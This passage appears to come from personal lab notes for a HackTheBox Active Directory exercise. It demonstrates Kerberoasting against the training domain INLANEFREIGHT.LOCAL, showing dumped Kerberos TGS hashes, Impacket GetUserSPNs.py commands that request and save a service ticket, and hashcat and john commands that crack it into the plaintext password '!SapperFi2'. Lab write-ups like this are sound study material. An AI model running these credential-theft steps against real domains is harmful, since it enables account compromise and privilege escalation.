0ad54943ed93d30e353818d275181269cdcddd62452653d65310b911e140f808205f4f1fc1a59b5a100f3d497aa4fe8b91e590954b1168fa434939b7df198dab7355602b95a081dae33f1a6e38e3fa8f5f2a46a1782f9689e044953dbf81ac4597e74843f467db8aaf4b8027
0916000b57f7e7f7a4cf52902f69dcc266cb1510423
$krb5tgs$23$*sqlqa$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/sqlqa*$21177e4e104713217f38df468ab224ad$44f329714e649b48777dc8e24286e405acc1aa0ad449e6f80f17b52cc530ad9a448fb946076af992e9fe58198830eb749085147d8b78b654a6015
10d1f55d0687034ed12529f373e7f6b702e6ec8280c8acd17142c5dbd90b7fc40a8a143c0c11e3e7742f35d49d36053a5b59c21df0acfc5ec0a506feaa19b7acb6a845c2e8ba51f9df6c48093f691b5d55cbdf94101ba7a43f05f4798e1d2ae36bc89bf6f98b0273c9d3875a
19d3ea7e3839d3d9e354ccff636167666d1dd5dd200711518660b2d4770799c5a68416070123a4485d4f4d34de9fbdf12a38231b4544087b7479abcd8d389102f9bf7d09f55b9cd56255dd0549fc9a6447143ae7d77ba86a75b657c38a4c5fb1473596482dfdb1684664a266f
69eaa1478b56e96309f983b140ce83169e09def8d6a6e7e376a1170bbaa250b333bd4942dcb9b8ae2841be681810d97bad319f005349b5efe21fef51ddd0f18d7baae361e874954d1f97d3db2dd478106b1980128b1c32d602b6c1c698e1275b03139b54b1366bd800c1eee2
b27761bb4e38100b0946b0ca4bd0c1dbe1caeba943e0343cca727a544f75535d6d2fd5a71032e6b914972ae532c98819d02d7c9385791da26b1f640005a37c0dc7b57d0204b877eb66ffa3e9cb2feda2ddf5ccf73501de9c0e66edaf99c9b609aae2e2c01c3bc62ce9764c59
a4411618dca0340017374b9f285cb51299c84cec97073a9012e651d1e14e7c1235b65fd277ed93d46541d445ec5613263dcff60351d7688879ad0290d3adc6db69041fc95ed0a00843c05705f9bc80134e8ffd18fe9a68a5ee6407f05920a7f9acf75644307a37b23e5000c2
77893ba52ef3cdb6565d4f6bd6f84a30c8bfbb74b94f3d55d371a023ad71c3c2d9344563d87002bdf35eaae2a76ebec5553c36baf000fe9ff15632c9277e8070c6b1f4adac883183ae2b9b4f95bda89f8ec0ca87ee24d927e9c51ab2bc9f42918543314b28d133259b4b2d5a
ca4d13a8827ff6d9bac7665145828d61056732595ddc4a41974ff7a58716b586866fa0164a9e47f70ce058ad47a35babc3b9f7c49f991bd8109d514673e93fa36a5410f0d75df9676cf95be9b01155318f0dda158957e9e550c2114bbd4cc8bd75bd0924ca15fa250cae47f6
ebf23a70a13135ff59721a420ce6e89f1ef6f2a644d144a2f2232fe2c0d7189c477d29692dee14ea274eb8b7d4fc02153f3745fe0b4ad3c03b2cc6fba9951942efdcff72fbecd039c61e85571f455e05dbc82d828c141fe314cadc810ed632ae02ece0d6587f2fa75ac5907a
1ae47a7017a773cd855cf9afbb5516f8a9ec2000ba59518ff8a13aac51418215 6bdd25aec504870c7661e6ddf05798ccd1e3a3d4abf0add1a176bdda15174a81051aa6b9032784ea842173a373e7ed7be92565fbb1ace91580baa14a653f166d0d9a3bc761d1e7f60fe50b7
0588b8fec6af4e1ddbb188a87bddd69c9adee54
$krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/sqldev*$1a5600d893fffb5a0a9c07b377c630be$e807c5657805bbfc2fb6c8cd41a1ef92cdbd94fec347e6fc9f62ae5bc36482b8c65af2b876015da2ed187312fe5cb759383dffce084eedc282c
658e8627dc39b0a4b1d0d6f726b8d27449ac1b2600c34e6b8a46282526e8ecaf22b38bab37f006eb8df932fc7815e9ff64e32ebebd1f654e564353e1bdb1bb04ae7e35b729e578158dc5588c10dce38c7a2ef9c09f6167e7ea1edb26c444bcfdbef9e085801fa5b756c2fb17
1d7092c493f255efb307fa7712221069255f04434527114f207049e6710aefcf3f13bb1d5e576e11b2e537c966525304cd4d946e13baec39fbabfc55220b75cadc538011a0d1df1af48a6c791a4ec3bbc852668d858de38354650627384ab1e34fc80e16d45b80abee4d36a1
b1f6065ee6632950d0dfb744c8a206d41bf8a3634af09aa1223e0c9f75daafc031c673b132f93dc9dac39dccafddae7aa13c18d1e7d88b1e7053b5d5f06305da956a0df25b7a35262476afe660b7fc247e808e23e715036ae0292ca8f60ec0d13c481ae6c1cdca4716586fe1
ffc637e4d6043f7fe6e9ad7913955bf3ebfc235c5c28c4174af27ba26bcb88289bfea9def180b940f89125fc1fdb5c26b362e5d97a2ffec1436c0ff9d61e59c4756a149f3d8737c42bb6d0774783814f8757925b610916aa84d1ad567914d8ed789603fa616eba0a123d0b04
6c989162c231faa7faabf85475590f8e0e5a115697ab9200bf6d56a4754bbed6ea07ce43c01669a22217450609b140ed1d8d90a296038766f2a7cccee762023e4e349ecb50464799c56cf24eade00b90d4f33828f7a4bfde1745ac10eb05ead8a1fdc8befe315e1b7eea6c02
b965b69b1028084a130f12979d29f6116d6e3b7e280ad2629cbf10e1506d885888eac0f48f64945addcfdaf27bfc1c6939c7342f0688af6977ba9a083abc1877c929308c40476b7d41c113489fa119020f61d562ff26c108bed26b72cd55f9a9e2bd439ad5c36300a0afce6d
f53e0f9080ccaff469aebf78802f4ff65ca443762b66e0b9b4aa1964a10f00589e7c082cd77ef1e8b4f6dbb5323f6eaba2fa035f5d93961cfd769badbeb4c8e5de51fa10deff4b6e103f242822f1797c9f491ff8b3843067fc85e15f86130d624cafa5fce5a053eb0226c8d0
f0a7cf8bbec03f7b96b4e1210954c9eb46822bd6775fd88f6e4c620167950d1acd8faaf49f32330adfa65e6b448902056ad6f162110624abc382f4320208c0a8a836b43581ffd34d1c8b489cb5a19877de7f199f91e9fc53a26f3d810ebaad66a761c55a5333276b21e53486
3c971134959za161626e06d098697990160806dc85c0c6cd280a4451e98bedcf70e0da4f6808539c032ee319b5e22320b0d3c8c3cce14fd578532099918ba359fdeca68cbf9a85fac5eb805840936fd31648892dab6b8a5339cfc947dc0b166c98cc14ad517ec39e0990e064
55ec48c18a581e7a51670b810646f8fca420a8f02
```

if we need spacefic TGS

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev   -request-user
SAPService
```

```
┌─[root@ea-attack01]─[/home/htb-student]
└─→ #GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev   -request-user SAPService
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                  Name        MemberOf                                                  PasswordLastSet             LastLogon  Delegation
------------------------------------  ----------  --------------------------------------------------------  --------------------------  ---------  ----------
SAPService/srv01.inlanefreight.local  SAPService  CN=Account Operators,CN=Builtin,DC=INLANEFREIGHT,DC=LOCAL  2022-04-18 14:40:02.959792  <never>



$krb5tgs$23$*SAPService$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/SAPService*$6933b17d4ddbe0072a82af34d9f51566$49789a02c67e9389457f851f92be80a67ea8a13c4445cd06af516d7fa87409692c21b6061780fc1559d3ac4721dee80cb4da846c84e
ddff8827ef9f1d69f1ae597fa60b2d846a80924eadb1d82ce4af5b74dad3521c4cef116de2b836b376c4ff67cbedd1e845c4c3fd7bb24a9ce1efb6ecf1b5637c87b84d4711b4db33914101503a4f86a1d21eb4f698712dfdca020138b259bf02df5672691d131314eb8592d2
4200ac5fe0ce54c640b8b8cba6943d931a9f95626c2676a6d358fbe0f7bbb25f5ba13d28e85025e59facccf44e768a7ab338e3364dde5b00fe95f595545a187e99b54a3f04001e5ce3ef5de691eb80213ee8cd65e57b99444df7b257222ea81ba372fec71be6c8a2dad75eb3
cc6aa02afef5b15fb002c726872b5b9889a37cbe8dc64ebda33cd689d3450137d1d8a341bc54d8e9f55423c02f6c7d382c029517159531a23e911ea410fd7fd686e08a8b267bef8c0cc6222d26da2f38d3fa07531d06e88e24449f7b0fa09fb9e1184dffa7a9320045d377f1
28321a40e19fe6b66cb23a2afcca38e6b5c066ec1a7cb4f0ccc60eab6d7c0aef8ef0f0937efe6675abbb057de5754724c1e600cf23f26c9c4d6a1b6702b714ac04a6aa1c260851536f8a4cef3016f92b1ea3373dbeb54db0a8ca9ba5adfd894ea916751089e31bcb7d3aa44c
0006a24c7191e96fcb0ca690a3b8d8ef6d8b4562f56bafbd8cd6e94ffa5fbdfc5f7462c49f94dd4f35985e31fc4b9bb664c276c0ebe15d912a904d97beddcdd462238eb7f2634f44916e82addec712e37aa7e994c233c3fd6995dbb56534d6a837a1c9fefbdb7ae83abc7e51
8b0528c58c7cb603f09979078d15f92c5376ed79b21bd00302873bee897b09730185d262c9eaf6615b5a08e01e202b9348e97f7f8f7247e04788bdd3ed32368040cf30fc87e4c030545f6aa3bb172bf73cb63c09bf7f1508ab83802a6e5d8645889729f0dbf0865310d658a4
8ea3868eda8fd75905e0e58a4a73ed4fde08917fd7fa846573defdd6d7cdd21835a08d6c546d87485e71f053aa348645ac24b8e5f804fea76e35ed290abe783d5dc2f1be4f8e5579772476e0db39ef15067125d5ae0446e2050501896a3330df13e7450857031681a1636311b
92d0456425ad554d9f18fb474ff21a7b2dff33291a7c58c0fe63e9fb4bbee70b758951fa208c92c63dfae63a0705be2b992137ccee4678b366faa12755b8953adf0469cf9ed62f291fc1254bc43c77a80f3b146f24b7c5e78ba7188db78e73b454c2bb77c10b10a2b271778f
2f1e9f87f4a114a408cfbb3a0641d4ec3780eabf5ce3728e832d894821703d3fa59a7f92f871b91a5dc926d183f8cece4e0d2d1a30948ec6f62e63c39ab5941c0c1d8519887d8cc8bebfc0e46363faa40301e2d1d5550c74d45f2b423cff0d7992ed11678d5078a4117f46fd
36b3f99b470538d64e9047de554af25c2cb41a5720063b0ec
```

we will save these on file

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev   -request-user SAPService -outputfile output.txt
```

```
┌─[root@ea-attack01]─[/home/htb-student]
└─→ #GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev   -request-user SAPService -outputfile output.txt
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                  Name        MemberOf                                                  PasswordLastSet             LastLogon  Delegation
------------------------------------  ----------  --------------------------------------------------------  --------------------------  ---------  ----------
SAPService/srv01.inlanefreight.local  SAPService  CN=Account Operators,CN=Builtin,DC=INLANEFREIGHT,DC=LOCAL  2022-04-18 14:40:02.959792  <never>


┌─[root@ea-attack01]─[/home/htb-student]
└─→ #cat output.txt
$krb5tgs$23$*SAPService$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/SAPService*$02c0b25dfff616156d1445a8452cf563$01798324aeb66700f8b5f935058ca000f45fc09d1109f10603b03673b807e07373cefe5d0eba8d81586cd035f71ad4507b11d5b6523
d054c2ceaeddddf996db1c0004680ef631cc182203f781b4860e0cb83b46a53265eae8e875c253c9f11eb178a07f9de9e2359ed5660b7cf121955e7e51e1d5c02e55b004d3fea833857ef1b60750fd56ec0aea60159796600d959cdd9fdece38a8132a7a2ffc3029619975433
dd68af3bba4e0a761008611dd197f6de217bc079af6360db93e146701ae7136110397fd6d1552ff9b68e07a0980e29073b27e8c28b7ae747bd3151ed6c21cee10bea3bb4a5de78684d97180a22c9f958890856e61d1be8a14f27b89bd77268d5d596eee37cf1fc36a8a5915f
d5edaa08fa6918ab7e848fb60e6ddd4caae89a28b67c7d71f5bda44a6c68806025c1babcf08cf238d3a28ff451eee5936ec25731eb7e1575c7f0949c4442bd323a3f1835d9bdbae024bb7668ea2304d9027ba38c49bad4c6c8f52e606c795f66e510b817a1b8bfbfb1e3fbb4
e40dd88fa154fe0f430c926a67278e8b8dcb5d4bf7e54774542fed35d795be513e79ac20868dcb4472504821b09d5c6989eda65c3000ebb0a195dd7ff694de746c02b53518db38128d90e27c57798d146ad3514250c53b1d38e068dd6dc31d97310c9b11216f5470b937e13f
1409434f2fdef0063a114824ede17e0dde2bc3325e4a75a863c5950f757d69a66162cb455dd8263f21439b5e3cc432df1d48588559f67d895b2291657020043ee3d29b339eef85ccc2d39c28e164fa815c4a1af26264131e1151ebd854bde6f40b2dca3ed1f0106675f0cb3b
4ab6a65f80122e0ae06ff555f0af45d31c928149ae0524f9237a70d765b7084ceee0467a16715cde55043a6bc95dcbbebc7a667b208c03490fb24156c21a9bf78e72d40aa6ef6e66b9cb6d2bc9a75c1258383bd008e495b88194ae749c5adcf813f6fbd5d94051dd0b773e32
f4923207207a1916b37d7fd8328a5336e6620bde66a91a8d3f711090208ffd06bb5fc292cd8a26421dc43512d8ef3c8ab71888012b5d2c83ec27726253a742b1db4df1fbe13e1c4f714e44825d616ce050c44a83c5bc1b8559e5b76299c7187f6ee0305b8635f1f38d12b1a0
40077b2c09073ad620927c33a9f640a3e9ecf20f0ccee5d2faf271ce6fa40f442c9e7f199c99a5e75d4dabaa62a26ee26fca7c3d59dee7a136918a06e488271dd93d2e9c155546bbcb4257818abcb2efae3f1a31ef52278a18217d23ee3d2c14d746b2d2c4ad42c618e3d2ad
5782958046420 2ecedbb4d8c9d2e0a190e52995a957359df94d503bfedf7eaa983fd017ce798098d766cc0a9997bf3e775bbe49418f2e485f18aa897cf67fabf1fa9a6172a4fa78b66fe12c56ab0bbc2eb66e08fae220b5375815e9e0a58dee686f29499861e5e32cc8de77
654a183a499860ffe67551ba8c2f439a8b33590460df51bd7
┌─[root@ea-attack01]─[/home/htb-student]
```

we will crack the hash

```
hashcat -m 13100  output.txt  /usr/share/wordlists/rockyou.txt

or

john --wordlist=/usr/share/wordlists/rockyou.txt  output.txt
```

```
┌─[✗]─[root@ea-attack01]─[/home/htb-student]
└─→ #john --wordlist=/usr/share/wordlists/rockyou.txt output.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 43.94% (ETA: 17:22:02) 0g/s 566462p/s 566462c/s 566462C/s l6tbfk96ogglo..154040
0g 0:00:00:19 62.98% (ETA: 17:22:07) 0g/s 462760p/s 462760c/s 462760C/s cizhemisz..ciudadbolivar
0g 0:00:00:21 66.79% (ETA: 17:22:08) 0g/s 452298p/s 452298c/s 452298C/s blas0616..blanco08
0g 0:00:00:23 72.31% (ETA: 17:22:07) 0g/s 450052p/s 450052c/s 450052C/s adoma123..adnan_031093
0g 0:00:00:26 79.05% (ETA: 17:22:08) 0g/s 435465p/s 435465c/s 435465C/s CHARMED1!..CHANDRU
0g 0:00:00:27 81.94% (ETA: 17:22:09) 0g/s 423911p/s 423911c/s 423911C/s 8691194t..8682254
0g 0:00:00:28 83.12% (ETA: 17:22:10) 0g/s 421956p/s 421956c/s 421956C/s 723630..72282j
0g 0:00:00:30 86.99% (ETA: 17:22:10) 0g/s 417618p/s 417618c/s 417618C/s 3507640..35-22-15
0g 0:00:00:35 99.07% (ETA: 17:22:11) 0g/s 406148p/s 406148c/s 406148C/s 0125141414..0124693407
!SapperFi2  (?)
1g 0:00:00:35 DONE (2024-12-07 17:22) 0.02801g/s 401824p/s 401824c/s 401824C/s !Smartinp..!@#fuckyou.com
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```